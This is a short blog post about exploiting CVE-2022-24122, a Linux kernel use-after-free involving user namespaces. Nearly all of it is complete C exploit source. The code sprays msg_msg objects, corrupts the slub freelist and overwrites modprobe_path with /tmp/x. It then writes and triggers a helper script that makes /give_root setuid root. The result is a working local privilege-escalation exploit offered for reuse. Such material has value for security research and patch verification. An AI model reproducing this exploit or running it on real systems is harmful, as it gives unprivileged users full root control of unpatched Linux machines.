exploiting the kernel - CVE-2022-24122

Posted on Mar 12, 2023

for the first time I exploited the kernel in real life. I used the bug CVE-2022-24122, which allowed a use-after-free due to bad use of refcount.

the exploit itself requires a kaslr leak to prevent an oops during the process, as well as access to user namespaces. it is not really reliable, needs many tries :D

to get root I corrupted the slub freelist and wrote to modprobe_path.

the exploit code can be found on GitHub or in the following:

#define _GNU_SOURCE
#include <time.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/syscall.h>

#define PAGESIZE 0x1000
#define ADDR_NO_CRASH 0x1655980
#define MODPROBE_PATH 0x1651460
#define MSG_MSGSEG 0x16559c0

#define KINFO(x) printf("[*] %s\n", x);
#define KSUCC(x) printf("[+] %s\n", x);
#define KERR(x) printf("[-] %s\n", x);

int msqid;
unsigned long kbase;

struct dummy_msg {
    long mtype;
    char mtext[0x8];
};

void bind_cpu(int cpu) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);

    return;
}

int open_shm(int flags, int cnt) {
    int shm = shmget((key_t)cnt,0x1000,flags);
    if(shm == -1) perror("shm_open");

    return shm;
}

int *open_shm_arr(int cnt) {
    int *shmfds = calloc(sizeof(int), cnt);

    for(int i = 0; i < cnt; i++)
        shmfds[i] = open_shm(IPC_CREAT|S_IRUSR|S_IWUSR, i);

    return shmfds;
}

void give_ok(int cnt) {
    struct dummy_msg msg;
    msg.mtype = 0x4141414141414141;
    msg.mtext[0] = 0x0;

    for(int i = 0; i < cnt; i++)
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

    return;
}

void wait_ok() {
    struct dummy_msg msg;

    msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0);

    return;
}

int child_afk(void *x) {
    wait_ok();
    return 0;
}

int child_exp(void *x) {
    if(shmctl(*(int *)x, SHM_LOCK, 0) == -1) perror("shmctl");

    wait_ok();
    return 0;
}

void spray_ns_free(int cnt, int *shmfds) {
    pid_t pid;
    int *pids = calloc(sizeof(int), cnt);
    void *stack;
    int shmcnt = 0;

    pid = fork();

    switch(pid) {
        case 0:
            for(int i = 0; i < cnt; i++) {
                stack = mmap(NULL, PAGESIZE, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
                if(stack == (void *)-1) perror("mmap");
                if(i % 0x8 == 0) {
                    pids[i] = clone(child_exp, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, (void *)&shmfds[shmcnt++]);
                    sleep(0.5);
                } else {
                    pids[i] = clone(child_afk, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, NULL);
                }
                if(pids[i] == -1) perror("clone");
            }

            exit(0);
        default:
            break;
    }

    waitpid(pid, NULL, 0);
    sleep(1);

    return;
}

void spray_msg_generic(int sz, int cnt) {
    int *msqids = calloc(sizeof(int), cnt);
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send, msg_recv;

    memset(msg_send.mtext, 0x45, 0x2000);

    msg_send.mtype = 0x4141414141414141;

    for(int i = 0; i < cnt; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
        if(msqids[i] == -1) perror("msgget");
        if(sz > 0x1000-0x30) {
            msgsnd(msqids[i], &msg_send, sz-0x38, 0);
        }
        else
            msgsnd(msqids[i], &msg_send, sz-0x30, 0);
    }

    return;
}

int alloc_msg_get_id(int sz) {
    int msqid;
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send;

    memset(msg_send.mtext, 0x0, 0x2000);

    msg_send.mtype = 0x4141414141414141;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    if(sz > 0x1000-0x30) {
        msgsnd(msqid, &msg_send, sz-0x38, 0);
    }
    else
        msgsnd(msqid, &msg_send, sz-0x30, 0);

    return msqid;
}

int alloc_msg_get_id_queue(int sz1, int sz2, int sz3) {
    int msqid;
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send;

    memset(msg_send.mtext, 0x0, 0x2000);

    msg_send.mtype = 0x4141414141414141;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    if(sz1 > 0x1000-0x30) {
        msgsnd(msqid, &msg_send, sz1-0x38, 0);
        msgsnd(msqid, &msg_send, sz2-0x38, 0);
        msgsnd(msqid, &msg_send, sz3-0x38, 0);
    }
    else {
        msgsnd(msqid, &msg_send, sz1-0x30, 0);
        msgsnd(msqid, &msg_send, sz2-0x30, 0);
        msgsnd(msqid, &msg_send, sz3-0x30, 0);
    }

    return msqid;
}

void free_msg_by_id(int id, int sz) {
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_recv;

    msg_recv.mtype = 0x10;

    if(sz > 0x1000-0x30) {
        msgrcv(id, &msg_recv, sz-0x38, 0, 0);
    }
    else
        msgrcv(id, &msg_recv, sz-0x30, 0, 0);

    return;
}

int alloc_dummy_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;

    memset(msg_send.mtext, 0x45, 0x79);
    for(int i = 1; i < 0xc0-0x30-0x7; i += 8)
        *(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;

    msg_send.mtype = 0x6161616161616161;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");

    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);

    return msqid;
}

void alloc_overlapping_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;
    memset(msg_send.mtext, 0x0, 0xc0-0x30);

    *(unsigned long *)&msg_send.mtext[0x50] = kbase + ADDR_NO_CRASH;
    *(unsigned long *)&msg_send.mtext[0x58] = kbase + ADDR_NO_CRASH;
    *(unsigned long *)&msg_send.mtext[0x70] = 0x0;
    *(unsigned long *)&msg_send.mtext[0x78] = kbase + MSG_MSGSEG;

    msg_send.mtype = 0x6161616161616161;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");

    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);

    return;
}

void alloc_corrupting_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;

    memset(msg_send.mtext, 0x0, 0xc0-0x30);

    for(int i = 0; i < 0xc0-0x30; i += 8)
    *(unsigned long *)&msg_send.mtext[i] = kbase + MODPROBE_PATH-0x30;

    msg_send.mtype = 0x6161616161616161;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");

    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);

    return;
}

void alloc_modprobe_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;

    strncpy(msg_send.mtext, "/tmp/x", 6);
    msg_send.mtext[6] = '\x00';

    msg_send.mtype = 0x6161616161616161;

    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");

    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);

    return;
}

void spray_msg_overwrite(int cnt) {
    int *msqids = calloc(sizeof(int), cnt);
    struct {
        long mtype;
        char mtext[2833];
    } msg_send, msg_recv;

    for(int i = 0; i < 2832; i += 8)
        *(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;

    strncpy(&msg_send.mtext[2832], "\xf9", 0x1); // pratial overwrite

    msg_send.mtype = 0x4141414141414141;

    for(int i = 0; i < cnt; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
        if(msqids[i] == -1) perror("msgget");
        msgsnd(msqids[i], &msg_send, sizeof(msg_send.mtext), 0);
    }

    msgrcv(msqids[cnt-1], &msg_recv, sizeof(msg_recv.mtext), 0, 0);

    return;
}

int exploit(void *x) {
    wait_ok();

    int *shmfds = open_shm_arr(300);

    KINFO("allocated 300 shm segments");

    bind_cpu(0);

    KINFO("spraying child user_namespaces ; referenced through of ucounts parent user_namespace");

    spray_ns_free(300, shmfds);

    give_ok(300);

    sleep(3);

    KINFO("user_namespaces freed -> cache freed");

    KINFO("spraying msg_msg to take up free'd pages of user_namespaces cache");

    for(int i = 0; i < 0x80; i++) {
        spray_msg_overwrite(0x10);
    }

    KINFO("triggering cross-cache UAF (referencing free'd child user_namespraces)");

    for(int i = 0; i < 300; i++)
        if(shmctl(shmfds[i], IPC_RMID, 0) == -1) perror("shmctl close");

    KSUCC("decremented 2nd lowest byte of m_list");

    give_ok(1);

    while(1) sleep(20);

    return 0;
}

int main() {
    char uid_map[64] = {0};
    char gid_map[64] = {0};
    char setgroups[64] = {0};
    void *stack;
    pid_t pid;

    kbase = 0xffffffff81000000;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);

    KINFO("imaginary kernel base leak: 0xffffffff81000000");

    KINFO("pre-spraying in kmalloc-192 cache");

    spray_msg_generic(0xc0, 0x16);

    sleep(0.5);

    KINFO("preparing thread -> allocating ucounts (hopefully 0x100 aligned)");

    stack = mmap(NULL, PAGESIZE*4, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
    if(stack == (void *)-1) perror("mmap");

    pid = clone(exploit, stack+PAGESIZE*4, SIGCHLD|CLONE_NEWUSER, NULL);
    if(pid == -1) perror("clone");

    KINFO("doing heap feng shui to ensure a right placement of msg_msg structs");

    int x1 = alloc_msg_get_id(0xc0);
    int x2 = alloc_msg_get_id(0xc0);
    int x3 = alloc_msg_get_id(0xc0);
    int x4 = alloc_msg_get_id(0xc0);
    int x5 = alloc_msg_get_id(0xc0);
    free_msg_by_id(x4, 0xc0);
    free_msg_by_id(x3, 0xc0);
    free_msg_by_id(x5, 0xc0);
    free_msg_by_id(x2, 0xc0);
    free_msg_by_id(x1, 0xc0);

    alloc_dummy_msg();
    int id = alloc_msg_get_id_queue(0x100, 0xc0, 0xc0);
    alloc_overlapping_msg();
    int target = alloc_msg_get_id(0x10c0);

    snprintf(setgroups, 64, "/proc/%d/setgroups", pid);
    snprintf(uid_map, 64, "/proc/%d/uid_map", pid);
    snprintf(gid_map, 64, "/proc/%d/gid_map", pid);
    int setgroups_fd = open(setgroups, O_RDWR|O_CREAT);
    int uid_fd = open(uid_map, O_RDWR|O_CREAT);
    int gid_fd = open(gid_map, O_RDWR|O_CREAT);

    write(setgroups_fd, "deny\n", 5);
    write(uid_fd, "0 1000 1\n", 9);
    write(gid_fd, "0 1000 1\n", 9);

    KSUCC("starting exploit thread");

    give_ok(0x1);

    sleep(2);

    wait_ok();
    KINFO("freeing corrupted message queue");

    free_msg_by_id(id, 0x100);
    free_msg_by_id(id, 0xc0);
    free_msg_by_id(target, 0x10c0);
    free_msg_by_id(id, 0xc0);

    KSUCC("triggered overlapping free");

    KINFO("corrupting freepointer");

    alloc_corrupting_msg();
    spray_msg_generic(0x10c0, 0x1);
    alloc_modprobe_msg();

    KSUCC("overwrote modprobe_path to /tmp/x");

    system("touch /tmp/x");
    system("echo -e \"#!/bin/sh\\nchown 0:0 /give_root\\nchmod a+sx /give_root\" > /tmp/x");
    system("chmod a+rwx /tmp/x");
    system("touch /tmp/unknown");
    system("echo -en \"\\xff\\xff\\xff\\xff\" > /tmp/unknown");
    system("chmod a+rwx /tmp/unknown");
    system("/tmp/unknown");

    KSUCC("got root!");

    system("/give_root");

    return 0;
}